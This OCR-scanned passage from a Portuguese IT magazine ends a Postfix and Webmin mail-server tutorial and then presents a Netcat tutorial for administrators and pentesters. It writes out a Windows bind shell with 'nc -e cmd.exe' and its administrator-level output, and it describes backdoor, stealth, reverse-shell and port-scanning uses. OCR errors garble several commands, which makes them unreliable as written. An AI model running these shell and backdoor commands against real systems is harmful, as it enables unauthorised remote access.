todos os enderegos de e-mail digitados, seria inserido no final
deste, novamente o dominio do servidor, ficando, por exemplo:
thiago@mirnavbx.com.br.mirnavbx.com.br (este tiltimo, inserido
pelo servidor).

Muitas vezes o usudrio recebe uma mensagem do servidor de
correio informando que uma determinada mensagem enviada por
ele ainda ndo pode ser entregue. A linha 5 é a responsédvel por
determinar apds quanto tempo o usudrio deve ser avisado de uma
mensagem ainda ndo ter sido entregue. As unidades utilizadas
sd0: s (segundos), m (minutos), i (horas), d (dias), w (semanas).

A linha 6 indica ao usudrio onde encontrar os arquivos do
Postfix com explicagdes de como recompilar seus arquivos fonte.
Esse parametro recebe 1o (ndo), pois o Ubuntu utiliza pacotes jd
compilados e torna-se desnecessério qualquer tipo de explicagdo
de recompilacado de fontes.

O contetddo entre as linhas 7 e 11 refere-se a localizagao e utili-
zagdo do SSL, e ndo devem ser modificado.

A linha 12 indica o nome do servidor de correio. Vale lembrar
que na instala¢do do Postfix o nome do servidor foi solicitado.
Este nome pode ser alterado nessa linha.

As linhas 13 e 14 referem-se aos “apelidos” dos usudrios do
servidor de e-mails presentes no arquivo /efc/aliases. Para que o
administrador do servidor ndo tenha que verificar diversas contas
de e-mail (root, postmaster, webmaster, etc.), basta inserir o novo
apelido ao root e, todos os e-mails cairdo diretamente em uma
caixa de entrada tnica.

Na linha 15 estdo os dominios validos que receberdo as
mensagens.

A linha 16 é utilizada para que as mensagens sejam entregues
por outro servidor. Esta linha apenas é habilitada no caso da con-
figuracao do Postfix como sistema satélite ou internet com smarthost.
Neste caso, deve-se informar o enderego do servidor que tratara
o0 e-mail, realizando a entrega ou envio.

Alinha 17 obriga que as mensagens sejam enviadas localmente,
ou seja, apenas as mensagens geradas pelo préprio servidor pode-
rdo ser enviadas. Caso este servidor seja um relayhost (explicado
anteriormente como sistema satélite) de outro servidor, deve-se
colocar o endereco da rede do outro servidor em questao.

A linha 18 indica o tamanho da caixa de mensagens de cada
usudrio, quando se utiliza um mailbox. O valor 0 (zero) indica que
este parametro estd desabilitado.

Alinha 19 especifica um delimitador entre o nome do usudrio
e as extensdes do enderego. Seu uso, que pode ser “+” (por pa-
drdo) ou “-“ (adotado em sites baseados em JavaScript), auxilia
o usudrio na criacdo de uma etiqueta de e-mail. Um exemplo
disso é verificado ao se cadastrar em um site, quando adota-
mos, por exemplo, o e-mail thiago+siteonline@meudominio.
com.br. Deste modo, quando chegar algum e-mail ao servidor,
este analisard se existe o usudrio thiago+siteonline. Como néo
existird, o servidor entregard para o usudrio thiago, como nor-



malmente faz, porém ficard marcado no cabegalho do e-mail o
destinatdrio original.

A linha 20 refere-se a qual interface de rede o Postfix responde.
Normalmente, em servidores em produgdo, utiliza-se mais de
uma interface de comunicagdo para evitar gargalos gerados por
trafegos internos. Nessa linha, define-se quais interfaces de rede
poderéo solicitar informagées do servidor de e-mail. Por padrao,
todas (all) as interfaces podem solicitar dados, porém em estru-
turas mais complexas de rede, pode ser que apenas uma interface
de rede do servidor possa solicitar informagdes de e-mails e as
outras serdo utilizadas apenas para comunicagao e troca de dados
entre servidores, por exemplo.

Mailbox vs. Maildir

Muitos administradores de servidor de e-mails sabem configura-
lo pelo o que viram em um tutorial na Internet ou mesmo pelo
padrao “préximo — préximo — préximo — concluir”. Quando assim,
normalmente ndo conseguem analisar a melhor configuragéo para
o armazenamento dos e-mails no servidor.

Pensando nesta questdo, podemos dizer que existem dois tipos
de armazenamento de e-mails no Postfix: Mailbox e Maildir.

O formato Mailbox armazena todas as mensagens do usudrio
em um tnico arquivo. Como exemplificado na Figura 12, todas as
mensagens do usudrio thiago estdo em /var/mail/thiago. O formato
Maildir, por outro lado, utiliza-se de uma estrutura de diretérios
e arquivos independentes para arquivar cada mensagem.

Sendo assim, para acessar as mensagens através de IMAP, o
formato Mailbox ird demorar mais para responder aos comandos,
uma vez que todas as mensagens estdo em um tinico arquivo e
a cada comando (exclusdo, alteracdo, etc.) este precisa ser reor-
ganizado. No caso do Maildir, se uma mensagem é apagada,
simplesmente apaga-se o arquivo referente a mensagem.

Tendo diferenciado os dois formatos de armazenamento, os
administradores deverdo definir qual a melhor opgdo para seus
servidores de e-mail, obtendo assim um melhor desempenho no
acesso as informagdes.

Interfaces Graficas de Configuracao

Intimeros usudrios ainda ndo tém muita familiaridade ou mesmo
néo estdo habituados com linhas de comandos e preferem confi-
gurar os servicos de um modo visualmente mais fécil. Com isso,
utilizam-se de programas que, através de um navegador, exibem
as configuragdes para serem selecionadas por botdes e caixas de
texto. No site do Postfix [2] existe uma relagdo de diversas inter-
faces para auxiliar em sua configuragéo, e dentre elas, o Webmin
se destaca por ser mais a utilizada. Apesar disso, nada impede
que se testem outras opgoes.

Webmin

O Webmin é uma interface, via navegador, que auxilia na con-
figuragdo de praticamente todos os servicos do Linux, desde a
criacdo de usudrios, configura¢des avangadas de um servidor
de e-mails ou DNS, dentre outros servigos. No entanto, mesmo

sendo ttil para intimeros usudrios, ele foi retirado do repositério
padrdo do Ubuntu. Assim, para instalar o Webmin, este devera
ser baixado do seu site [3]. Para este artigo, o arquivo a ser baixado
do Webmin deve ser o de extensao .deb (Ubuntu).

Para realizar a instalagdo do arquivo baixado hd duas opgdes:
através da linha de comando (Terminal) ou simplesmente com um
duplo-clique no arquivo baixado. No caso da linha de comando, o
comando dpkg (debian package — gerenciador de pacotes do Debian)
auxiliard na instalagdo dos pacotes baixados manualmente.

Portanto, para instalar o Webmin, estando no Terminal e no
mesmo diretério onde estd o arquivo baixado, execute:

sudo dpkg -i webmin_1.590_all.deb

Como a instalacdo do Webmin depende de diversos outros
servicos e pacotes que ja deveriam estar instalados, como as bi-
bliotecas libnet-ssleay-perl e libio-pty-perl, ocorrerdo alguns erros
durante a execugdo do comando anterior. Felizmente, ndo é preciso
se preocupar com 0s pacotes e servigos faltantes, pois no Ubuntu
o comando apt resolve o problema desses pacotes e instalagdes
incompletas. Para que o Webmin termine de ser instalado, apés
o dpkg, execute o comando:

sudo apt-get -f install

Esse comando pode ser utilizado para qualquer pacote .deb que
tenha sido instalado através do dpkg e, como no caso do Webmin,
ndo haviam todas as dependéncias previamente instaladas.

No caso de optar pelo duplo-clique, serd aberta a Central de
Programas do Ubuntu com o Webmin selecionado, conforme
demonstra a Figura 27. Nesta tela, basta clicar em Instalar. Nesse
caso, ndo é necessario nenhum outro comando, pois todas as
dependéncias serdo instaladas automaticamente.

Central de programas do Ubuntu

] .
m webmin

i 4 web-based administration interface for Unix systems G

Somente instale este arquiveo se vocé confia na origem. Instalar

Using Webmin you can configurs DNS, Samba, NFS, lacal/remate
Filesystems and maore using your web browser. After installation, enter the
URL https://localthost:10000/f into your browser and login as roat with your
root password.

Versio webmin 1.590
Tamanho total 1245 MB quanda instalada

Licenga Desconhecido

Atualizacles Desconhecido

Figura 27. Tela da Central de Programas para instalagdo do webmin. Em destaque, o botdo
de Instalar
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Executado os passos para a instalagdo do Webmin, este estara
instalado e funcionando, caso ndo ocorra nenhum erro. Para
acessé-lo da prépria maquina onde foi instalado, abra o navegador
e, na barra de enderecos, informe:

https://127.0.0.1:10000

Em servidores em producdo, normalmente, ndo sdo instaladas
interfaces graficas — para ndo ocupar desnecessariamente recursos
do servidor ou por medida de seguranca, para que usudrios inexpe-
rientes ndo utilizem o servidor como uma estagéo de trabalho.

Com isso, a utilizagdo do Webmin deverd ser feita através de outro
computador com qualquer sistema operacional que tenha um navega-
dor e esteja conectado na mesma rede da maquina onde foram instala-
dos 0 Webmin e 0 Samba. Nesse outro computador, deverd ser colocado
na barra de enderegos do navegador o endereco IP do servidor o qual
se quer acessar. Ainda por medida de seguranga, toda comunicagdo
entre o cliente e 0 Webmin seré feita através do protocolo de seguranca
SSL, por isso do acesso ser feito através de HTTPS.

A primeira tela que aparecerd é a de login. O usudrio que devera
ser utilizado é o usudrio criado na instalagdo do Ubuntu e a senha
é a mesma definida para acessar o Linux com este usuadrio.

Ap6s a instalagdo, pode-se criar novos usudrios para acessarem
o Webmin, porém esses usudrios serdo apenas para esse acesso,
néo funcionando como usudrios do Ubuntu.

Nesse cendrio, algo muito recomendado ¢é a alteragdo da senha
do usudrio que gerenciard o Webmin, pois uma vez que se ob-
tenha a senha do Webmin, pode-se acessar o servidor Ubuntu
com a mesma senha.

Ainda falando em senhas, muitas vezes acontece de ndo nos
lembrarmos de todas elas e, no caso de perda da senha de acesso
do Webmin, esta podera ser alterada executando-se o seguinte
comando no terminal:

/usr/share/webmin/changepass.pl /etc/webmin usuério novasenha

O programa changepass, feito em Perl, faz parte do pacote do
Webmin e auxiliard na alteracdo da senha perdida. Os parame-
tros do comando a serem utilizados para essa alteragdo sdo:

e Jetc/webmin: pasta onde estdo os arquivos de configuragdo do
Webmin;

° usudrio: nome do usudrio que se quer alterar a senha;

° novasenha: a nova senha para o usudrio.

Feito o login, a tela inicial do Webmin exibird as informagdes
do sistema, além de um menu lateral com diversas opg¢des para o
gerenciamento do préprio Webmin, conforme ilustra a Figura 28.
No centro da tela do navegador podem ser vistas a utilizagao do pro-
cessador, memdria e disco, além das versdes do sistema operacional
e do Webmin. Para verificar as configuragdes do servidor de e-mail
Postfix, no menu lateral esquerdo, deve-se acessar o item Servidores
> Postfix Mail Server. Ao selecionar esse item, aparecerd a direita as
configuracdes do Postfix, como pode ser verificado na Figura 29.
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Figura 29. Tela principal de configuracdo do Postfix

Pela quantidade de opgdes que se encontram para cada item
apresentado no menu de configuragdes do Postfix, a explicagdo
da configuragdo completa através do Webmin resultaria em um
novo artigo. Com isso, serdo apresentadas algumas telas com os
principais itens de configuragdes basicas, apresentadas anterior-
mente no arquivo main.cf.

Na Figura 29, ao selecionar Opgdes Gerais, serd carregada uma
tela semelhante a Figura 30, onde se pode ver o item Receber email
de que dominios. Este item é o mesmo explicado anteriormente, na
Listagem 2, e refere-se a linha 15.

Selecionando-se a opg¢do SMTP server options (Figura 29), serd
exibida uma tela semelhante a Figura 31. As opgdes de configu-
ragdo presentes nessa tela referem-se ao envio e recebimento dos
e-mails por parte do servidor. Um exemplo desta configuragao
ja foi visto na Figura 11, na linha onde aparece a “saudagéo”
do servidor ao usudrio conectado (mirnavbx ESMTP Postfix
(Ubuntu). A opgdo SMTP greeting banner (“saudagdo”) foi confi-
gurada anteriormente na linha 2 da Listagem 2.



Por fim, pode-se verificar as mensagens recebidas pelo usudrio
clicando-se no item User Mailboxes (Figura 29), e posteriormente,
selecionando o usudrio desejado, obtém-se uma tela semelhante
a Figura 32.

J
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Opcdes Gerals mals usadas

Que dominio USar & Usar o nome da maguina
na saida de email

Usar o nome do dominic

Receber emall de

Méaquina Local * Dominio completo @
que dominios

mirnavhx, localhost.localdomaln, | localhost

Que problemas @ padrio ' Selected below
reportar ao baunce - Bounced mall
[ 7h Double-b 4 mall

delay- Delayed mail

policy - Policy rejected clients
protocol - Client protocol errors
resource - Resource problems
software - Software problems

Outras Opgoes Gerais

Figura 30. Tela parcial das Op¢des Gerais de configuraéo do Postfix

fécil e transparente, tanto para o administrador do servidor quanto
para o usudrio final, porém torna-se interessante, também, instalar
e explorar as possibilidades que o Cyrus oferece.

Para oferecer uma boa interface ao usudrio, o Roundcube foi
escolhido para este artigo, porém se os usudrios ndo forem tao
exigentes quanto a isso, pode-se utilizar o SquirrelMail, ja bem
consolidado, ou mesmo o Open Webmail.

Apesar de este artigo ter abordado apenas os passos iniciais
para criagdo de um servidor de e-mail, a integracdo com um bom
antivirus e um bom antispam tornarao esse servidor ainda mais
robusto e confidvel. Atualmente, existem diversos antivirus e
antispams gratuitos e pagos para servidores, portanto deve-se
verificar o que melhor se adéqua a realidade financeira e também
estrutural da sua empresa.

Thiago Pirola Ribeiro
thiagopirola@gmail.com
Atua como pesquisador e professor da Universidade Federal de Vigosa
- UFV na area de Computacdo. £ bacharel em Andlise de Sistemas e
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com énfase em Processamento de Imagens, Linguagens de Programacao,
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Figura 32. Listagem das mensagens do usudrio

Conclusao

O servidor Postfix é amplamente utilizado como servidor de
correio na Internet pela sua robustez, facilidade de configuragao
e interacdo com outros aplicativos. As ferramentas graficas para
configuragdo do Postfix auxiliam a usudrios sem muita afinidade
com o mundo Unix, como também aqueles que ja tém certa experi-
éncia, abrindo um leque de opgGes de configuragdes avangadas.

A integracdo do Postfix com o Courier para a entrega de mensa-
gens utilizando-se POP3 e IMAP com e sem SSL ocorre de forma

[1] Sitio Oficial do Postfix

Software Livre, Redes de Computadores, Sistemas Operacionais e Servidores.
http://www.postfix.org @

[2] Softwares para interagir com o Postfix
http://www.postfix.org/addon.htm/

[3]Sitio do Webmin
http://prdownloads.sourceforge.net/webadmin/webmin_1.590_all.deb

[6] Sitio de Manuais do Postfix
http://www.postfix.org/postfix-manuals.html

[7]Sitio do SquirrelMail — Webmail for Nuts.
http://squirrelmail.org/

[8] Sitio do Open Webmail.
http://openwebmail.org/

[9] Sitio do Roundcube.
http://www.roundcube.net

[10] Sitio do webmail da Universidade de Harvard.
http://www.spl.harvard.edu/webmail/

[11] Sitio com a GNU GPL
http://www.gnu.org/licenses/gpl.htm!

[12] Sitio com bom material sobre Postfix.
http://www.unitednerds.org/thefallen/docs/index.
php?area=Postfix&tuto="Palestra-LinuxChix-2004
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Netcat: O canivete
suico TCP/IP

Conheca uma das ferramentas mais utilizadas por
especialistas em seguranca e Tl no mundo

omo Analistas de Seguranca e Infraestrutura,

constantemente precisamos executar testes de

rede, muitas vezes tomando um tempo precioso,
para validar simples regras de firewall e conectividade
entre redes. A forma normal utilizada para tal operacéo
subentende “subir” os servigos necessarios nos respecti-
vos servidores. O problema é que, além de dispendiosa,
h4 uma complexidade desnecessdria envolvida em confi-
gurar corretamente o servico, quando na verdade o que
precisamos no momento é apenas um teste simples de
conectividade. Uma ferramenta que pode auxiliar de for-
ma simples e eficiente nessa tarefa didria é o Netcat.

O Netcat, criado em 2004 pelo desenvolvedor conhecido
como Hobbit, é uma simples ferramenta de rede bastante
atil e versétil utilizada para ler e escrever dados através
de redes utilizando a pilha de protocolos TCP/IP criando
os mais variados servigos, por motivos de testes de co-
nectividade, segurancga, entre outros. Foi desenvolvido
para ser uma ferramenta de “back-end” confidvel, que
pode ser utilizada diretamente, na linha de comando, ou
indiretamente, via scripts. O Netcat pode ser integrado
a outros softwares e scripts para uma série de tarefas de
rede cuja utilidade e profundidade dependem apenas da
imaginagdo e conhecimento TCP/IP do usudrio.

Ainda, o Netcat pode ser utilizado facilmente para
uma série de tarefas de manutencio, desenvolvimento,
levantamento e froubleshooting de rede, pois simula
praticamente todo e qualquer tipo de conexao existente,
entre outras funcionalidades como:

e Conexdes de entrada e/ou saida, TCP ou UDP, com
origem ou destino a qualquer porta;

e Checagem completa de DNS (forward/reverse) com
mensagens de warning;

o Habilidade de utilizar qualquer porta local;

e Habilidade de utiliza¢do de qualquer endereco IP de
rede localmente configurada;

e Scanning de portas serializado ou randémico;

e Suporte a “loose source-routing”;
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Resumo DevMan

De que se trata o artigo:

De acordo com o rapido crescimento pela demanda de servicos
de redes, infraestrutura e seguranca, o profissional da area se vé em
situagoes onde a necessidade de um rapido troubleshooting de infra-
estrutura para solugdes de determinados problemas é extremamente
imprescindivel. Configurar servicos de rede complexos apenas para
simples testes de conectividade tomam um tempo precioso do analista.
A alternativa é a utilizagao de um software simples e completo a fim
de dinamizar e acelerar os testes supracitados. Desta forma, este artigo
tem por objetivo descrever as principais caracteristicas do comando
Netcat, fornecendo aos leitores os fundamentos tedricos e praticos
desse software tdo til atualmente.

Em quesituagdo o tema é uitil:

Os pontos destacados nesse artigo serdo Uteis paraa compreensao geral
do funcionamento da ferramenta, bem como suas principais fungoes e
sintaxe de comando. Os conceitos expostos também serao de profunda
importancia no aprofundamento no conhecimento técnico dos protoco-
los da pilha TCP/IP visto serem extensamente utilizados pelo comando,
bem como o aprofundamento técnico do tema para profissionais e usu-
arios da drea de infraestrutura de redes ou seguranca da informacao.

Netcat: 0 canivete suico TCP/IP::

Neste artigo serao apresentadas as principais caracteristicas do co-
mando Netcat, seu funcionamento e mecanismos de teste que o tornam
uma ferramenta tao completa. Também serao apresentados exemplos
praticos de utilizagédo focados no dia a dia do administrador de redes e/
ou especialista em seguranca. Por fim, serao apresentados exemplos

avancados aprofundando ainda mais sua utilizagao.

. J

e Pode ler argumentos de linha de comando na entrada padrao
(stdin);

e Suporte a slow-send mode, linha a linha a cada n segundos;

¢ Envio de dumps hexadecimais ou arquivos;

¢ Fungdes opcionais de resposta ao protocolo Telnet.



E o melhor de tudo, o Netcat é totalmente gratuito, distribu-
ido sob a licenga GNU General Public License (GPL), podendo
ser baixado para Linux, FreeBSD, NetBSD, SunOS/Solaris,
Mac OS X, Windows, entre outros, no site oficial (http://netcat.
sourceforge.net).

Atualmente, devido a sua grande importancia para adminis-
tradores de rede e especialistas em seguranca, principalmente
para analistas especializados em testes de invasao (Pentesters), o
Netcat j4 é disponivel por padrdo na grande maioria dos reposi-
térios de softwares de sistemas Unix-like, o que evita o gasto de
tempo com sua compilagdo e/ou instalagdo. Para os mais puristas,
o Netcat também ¢é disponivel em cédigo fonte para compilagdo
em sistemas mais especificos.

Utilizacao e sintaxe basica

O Netcat foi desenvolvido para ser de simples operagao utili-
zando parametros de passagem bem intuitivos. O Netcat ndo
possui interface grafica auxiliar oficial, por ndo ser de uso comum.
Existem algumas implementagdes de entusiastas da aplicagdo,
uma delas é o GtkNetCat com pardmetros bem intuitivos. Sua
sintaxe é bem simples e similar a praticamente todos os comandos
Unix-like. O nome do comando que executa o Netcat é nc.

Observe o exemplo de sintaxe padrdo a seguir, retirado direta-
mente do help:

#nc [-options] <host> port[s] [ports]

Onde:
e nc: Nome do comando executdvel em shell do Netcat;
¢ [-options]: Pardmetros e opg¢des passadas ao comando, como
listen, tcp, etc.;
e <host>: IP ou nome do host a ser conectado;
e port[s]: Porta TCP/UDP utilizada para o servigo.

Tutorial

Cliente de Conexao (Client Mode)

O primeiro exemplo apresentado neste artigo é a forma mais
simples de utilizagdo do Netcat, como cliente de conexao a outros
servidores ou websites, evitando o famigerado e bem conhecido
comando Telnet. Para utilizé-lo dessa forma, basta especificar as
opcdes de host e porta utilizados:

# nc www.kernel.org 80
GET/HTTP/1.1

Da mesma forma que um navegador funciona acessando um
website na Internet digitando-se wwuw.kernel.org na barra de URL,
utiliza-se o Netcat como cliente de conexdo TCP (substituindo o
navegador web) na porta 80 (HTTP) do site www.kernel.org. Logo
ap0s, passa-se como parametro HTTP a tag “GET / HTTP/1.1”

para executar um Banner Grabbing (captura de cabegalho) no
servidor web do site. Esse pardmetro é passado ao website por
qualquer navegador web (Firefox, IE, etc.), porém o mesmo néo
é visualizado pelo usudrio. Veja o resultado da execugdo do co-
mando anterior na Listagem 1.

Listagem 1. Saida do comando nc www.kernel.org 80.

HTTP/1.1 400 Bad Request

Date: Sat, 07 Jul 2012 01:52:00 GMT

Server: Apache/2.2.22 (Fedora)
Content-Length: 226

Connection: close

Content-Type: text/html; charset=is0-8859-1

<IDOCTYPE HTML PUBLIC“-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
</body></html>

Obviamente o exemplo da Listagem 1 pode ser estendido a
qualquer protocolo orientado a conexdo (TCP), como servidores
de e-mail (SMTP), servidores de arquivos (FTP, SAMBA), entre
outros.

E importante destacar que, em se tratando de comandos tipica-
mente de sistemas Unix, pode-se utilizar pipes (“1”’) ou comandos
de redirecionamento (“>", “>>", “<”) para melhorar e/ou completar
seu funcionamento. Deste modo, esse mesmo exemplo poderia ser
executado criando-se um arquivo get.txt com o contetido “GET /
HTTP/1.1”, e passando diretamente seu contetido ao Netcat na
linha de comando:

ulu

# nc www.kernel.org 80 < get.txt

Outra forma de executar o mesmo comando seria enviar a saida
do comando echo ou printf diretamente via pipe para o Netcat, da
seguinte forma:

# printf‘GET / HTTP/1.1\n\n’ | nc www.kernel.org 80

Quando nenhuma opgéo de protocolo a ser utilizado é especi-
ficada na linha de comando, o padrdo utilizado como cliente
ou servidor é o TCP (orientado a conexdo), e pode ser também
definido, embora ndo necessario, pela opgdo “-t” ou “--tcp”. Ha-
vendo necessidade de utiliza¢do do protocolo UDP (ndo orientado
a conexdo), ele deve ser explicitamente especificado pela opcao
“-u” ou “--udp”.

Um breve exemplo de uso do protocolo UDP no Netcat é a
consulta de DNS, ao invés de usar os ja conhecidos dig, nslookup
entre outros:

#nc-unsl.servidor.com 53
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Modo Servidor (Listen Mode)

Muitas vezes o administrador de redes tem necessidade de
testar a conectividade de servicos atravessando as interfaces de
um firewall, porém configurar servigos como DNS ou um Web
Server apenas para testes pode tomar bastante tempo. O Netcat
auxilia nessa tarefa com a capacidade de entrar em modo LISTEN
(-1) em qualquer socket ou porta (-p) do sistema, conforme pode
ser visto a seguir:

#nc-l-p80

Dessa forma, acabou-se de executar o Netcat servindo conexdes
(modo Listen) na porta 80 da mesma forma que um servidor
web HTTP. E importante frisar que em sistemas Linux, apenas
o usudrio root pode iniciar servigos abaixo da porta 1024. Caso
um usudrio normal tente executd-lo nessas portas, receberd uma
mensagem de erro como a seguir:

felipe@bt:~$ nc-I-p 80
Can't grab 0.0.0.0:80 with bind : Permission denied

Para conectar ao servigo em LISTEN, basta utilizar um cliente
de conexdo Telnet ou o préprio Netcat em client mode em outro
terminal:

#nc192.168.217.132 500

Um ponto muito interessante e importante para os exemplos a
seguir é notar que, utilizando o Netcat em modo listen e conec-
tando-se a ele via client mode, qualquer string digitada na entrada
padrao (stdin) do client mode, aparecerd na saida padrao (stdout)
do Netcat em Listen. Devido a esse comportamento, muitas vezes
essa fungéo é conhecida como Chat Mode, o que também pode ser
utilizado para transmissdo de qualquer outro tipo de dados, como
serd abordado em seguida.

Trasferéncia de arquivos

Uma vez que se conhece a utilidade do Netcat em Listenn Mode,
e também a funcdo dos comandos de Pipe e Redirecionamento,
pode-se utilizd-los em conjunto para a transferéncia de arquivos
de diversas formas.

No exemplo, serd transferido um arquivo qualquer, de nome get.
txt, em texto claro do servidor para o servidor (cliente) que estd
requisitando o mesmo, com o nome de get-cliente.txt utilizando
comandos Linux e Pipe. A primeira etapa para verificar se a cépia
dos arquivos serd integra é checar, com o auxilio do comando
“md5sum”, onimero CRC do arquivo original e, ao final da cépia,
fazer o mesmo no arquivo destino. O checksum é um ndmero utili-
zado para checar a integridade de arquivos em backups ou cépias.
E retirado do arquivo a ser verificado por vérios comandos (foi
utilizado o “md5sum”), para comparagdo entre as duas pontas
(origem e destino) da cépia. Caso o mesmo seja idéntico, a cépia
terd sido feita com sucesso.
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Através da Listagem 2, pode-se notar que a transferéncia foi
executada sem problemas, e o checksum dos arquivos get.txt (ori-
gem) e get-cliente.txt (destino) sdo exatamente iguais, indicando
que a copia foi feita de forma integra.

Utilizando esse exemplo como base, pode-se dificultar um
pouco transferindo o contetido de um diretério, compactando-o
na transferéncia, e descompactando-o no destino, conforme a
Listagem 3.

Listagem 2. Comandos para Transferéncia de Arquivos.

Méquina 1 (servindo o arquivo)

# md5sum get.txt
43fe9d8de2392b2e3c0289173fed453e get.txt
# cat get.txt | nc - -p 10000

Maquina 2 (capturando o arquivo)
#nc192.168.217.132 10000 > get-cliente.txt

# md5sum get.txt
43fe9d8de2392b2e3c0289173fed453e get-cliente.txt

Listagem 3. Transferéncia de arquivos com compactagao.

Maquina 1 (servindo o arquivo)

# tar —cf - /nome/teste/ | nc - -p 10000
Maquina 2 (capturando o arquivo)
#nc192.168.217.132 10000 > tar —xvzf -

Nesse exemplo, executou-se a cépia do diretério /home/teste da
M4équina 1 para a Mdquina 2 utilizando compactagdo real-time na
transferéncia através do comando “tar —cf -”.

No primeiro comando, foi compactado o diretério /home/teste
e enviados seus dados para a saida padrdo com o comando “tar
—cf - /home/teste/”.

O processo de compactar um arquivo no momento da cépia serve
como um tipo de compressdo de dados que ird ajudar a customizar
o tempo de transferéncia, que serd reduzido, bem como a largura
de banda necessdria para tal operacao.

Outro exemplo interessante é a possibilidade de clonagem de
um hard disk de um servidor para outro via rede, como visto na
Listagem 4.

Listagem 4. Clonagem de Disco via Rede.

Maquina 1 (servindo o disco destino)
#nc-1-p 3000 | bzip2 -d | dd of=/dev/sdb
Maquina 2 (enviando os dados de disco)
#bzip2 -c /dev/sda | nc 192.168.217.132 3000

Nesse exemplo, foi executado o Netcat em modo Listen na porta
3000 e redirecionada a saida para o comando bzip2 com a opgdo
-d, que compactard o arquivo no destino (Mdquina 1). Logo apds
0 mesmo serd reenviado, com o auxilio do Pipe, para o software
dd, que escreve a saida (of=) bit a bit no disco /dev/sdb. Uma vez
tendo o Netcat em Listen na Mdquina 1, pode-se logar na Mdquina
2 einiciar o envio solicitando ao comando bzip2 para compactar o



dispositivo /dev/sda através da opgdo -c para a saida padrao. Logo

ap6s, envia-se a saida para o comando Netcat que conectara a
Maéquina 1 na porta 3000.

Obviamente, a compactagdo pode ser executada com qualquer
software de linha de comando, porém foi utilizado o comando
bzip2, diferente do primeiro exemplo, para visualizar a gama de
opc¢des de comandos existentes.

Modo Tiinel Seguro com SSH (Tunneling Mode)

Na transferéncia executada no exemplo da Listagem 4, foi feito
com que os dados fossem transmitidos de um servidor a outro
em texto claro, o que pode ser completamente inseguro devido
a importancia e confidencialidade dos dados do arquivo. Com o
comando SSH, pode-se criar um ttinel criptografado entre as duas
pontas e assim transmitir o arquivo em texto claro de forma mais
segura (ver Listagem 5).

Listagem 5. Tunel seguro de envio de arquivos com SSH.

Méquina 1 (servindo o arquivo)

# cat arquivo-origem.iso | nc - —p 8888

Magquina 2 (capturando o arquivo)

# ssh —f -L 9999:localhost:8888 backup@192.168.217.132 sleep 1; nc localhost
9999 > arquivo-destino.iso

No exemplo da Listagem 5, o servidor, em Listen mode, abre o
arquivo arquivo-origem.iso e o serve na porta 8888. No compu-
tador cliente, cria-se um tdanel SSH na porta 9999 em localhost
(127.0.0.1) e o associa-se a porta 8888, acessada via SSH, com o
usudrio backup no servidor que estd servindo o arquivo original,
192.168.217.132. A conexdo ird solicitar ao usudrio backup a senha
SSH para conexdo, e quando preenchida, iniciard a c6pia para o
arquivo arquivo-destino.iso.

Executando comandos em Modo Listen (Backdoor Mode)

O Netcat possui uma opgao, particularmente importante para
especialistas em seguranca e pentesting, para inclusao de backdoors
(falhas de seguranca), que permite executar qualquer comando
ou script remoto na maquina que serve o socket, a opgao -e. Um
breve exemplo executado em um servidor Windows, criando um
shell remoto, pode ser visto na Listagem 6.

Nota-se que o servigo foi iniciado na porta 2000 no servidor
Windows, solicitando a execuc¢do do comando cmd.exe com a
opgao —e. Uma vez conectados, verificando o banner do sistema,
é recebido o Command Prompt (tela “C:\>") e executa-se o co-
mando dir. Observa-se que quando é utilizado o comando echo
%USERDOMAIN%\%USERNAME%, recebe-se a resposta SER-
VER\ Administrator, indicando que se estd conectado com permis-
soes de administrador do sistema, jd que executou-se também o
Netcat com permissdes de super usudrio. Tem-se agora, portanto,
acesso irrestrito ao sistema.

Uma op¢do muito importante usada em conjunto com -¢ é a opgao
Stealth Mode -d. Ela faz com que o console seja desconectado do

comando cmd.exe utilizado. Assim, pode-se executar o comando
em background sem correr o risco de o servigo cair quando da
desconexdo do cliente. Essa opgdo existe apenas em sistemas
operacionais Microsoft Windows, uma vez que em sistemas Unix
e Linux o caractere especial & jd faz o servigo.

Os comandos da Listagem 6 podem ser facilmente alterados
para servir backdoors como meio de entrada remota ao servidor,
utilizando ndo necessariamente um Shell, porém também outros
comandos e scripts.

Listagem 6. Criando um Shell Windows Remoto.

Maquina 1 (Windows)
C:\nc11nt> netcat.exe -1 -p 2000 —e cmd.exe -d

Maquina 2 (Linux)
#nc 192.168.217.2 2000

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\nc11nt> dir

dir

Volume in drive C has no label.
Volume Serial Number is AE7D-CB8E

Directory of C:\nc11nt

08/07/2012 17:01 <DIR>
08/07/2012 17:01 <DIR>
28/11/1997 14:48 12.039 doexec.c
09/07/1996 16:01 7.283 generic.h
06/11/1996 22:40 22.784 getopt.c
03/11/1994 19:07 4.765 getopt.h
06/02/1998 15:50 61.780 hobbit.txt
28/11/1997 14:36 544  makefile
03/01/1998 14:37 59.392 nc.exe
04/01/1998 15:17 69.081 NETCAT.C
16/09/2009 14:39 7.070 readme.txt

9 File(s) 244.738 bytes

2 Dir(s) 111.135.408.128 bytes free

C:\nc11nt> echo %USERDOMAIN%\%USERNAME%
echo %USERDOMAIN%\%USERNAME%
SERVER\Administrator

Criando um Shell Reverso

No exemplo da Listagem 6, foi aberto diretamente no servidor
um shell para conexdo via cliente. No entanto, na maioria das
vezes, o firewall ndo permite a abertura das portas utilizadas, ou
de um shell local. Para tal situagdo, existe o recurso de abrir um
shell reverso, onde o Listen é iniciado no servidor, porém o shell é
solicitado pela ponta que conecta, ou seja, o cliente. Para deixar o
exemplo mais completo, o servidor em Listen serd um Windows, e
a mdquina cliente serd um Linux. Veja este caso na Listagem 7.

Dessa forma cria-se um shell reverso remoto para o cliente.
Portanto, basta executar qualquer comando no servidor, que o
mesmo serd executado na mdquina cliente, como mostrado na
Listagem 8.

Nota-se que no exemplo da Listagem 8 foram executados dois
comandos. Respectivamente, “whoami” e “pwd”, que verificam
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com qual usudrio estd logado e qual é o diretério corrente.

Criar um shell reverso tem diversas utilidades, como copiar
comandos e/ou exploits (scripts que exploram falhas através de
c6digo malicioso) para o servidor alvo, bem como executar rotinas
e criar novos backdoors para posterior acesso ao servidor.

Scanner de Portas (Scanner Mode)

Embora néo tdo completas como as do conhecido Nmap, o Net-
cat possui opgdes para escanear portas de hosts de rede de forma
serializada ou randdmica, e com suporte a inclusao de port range,
como visto no exemplo da Listagem 9.

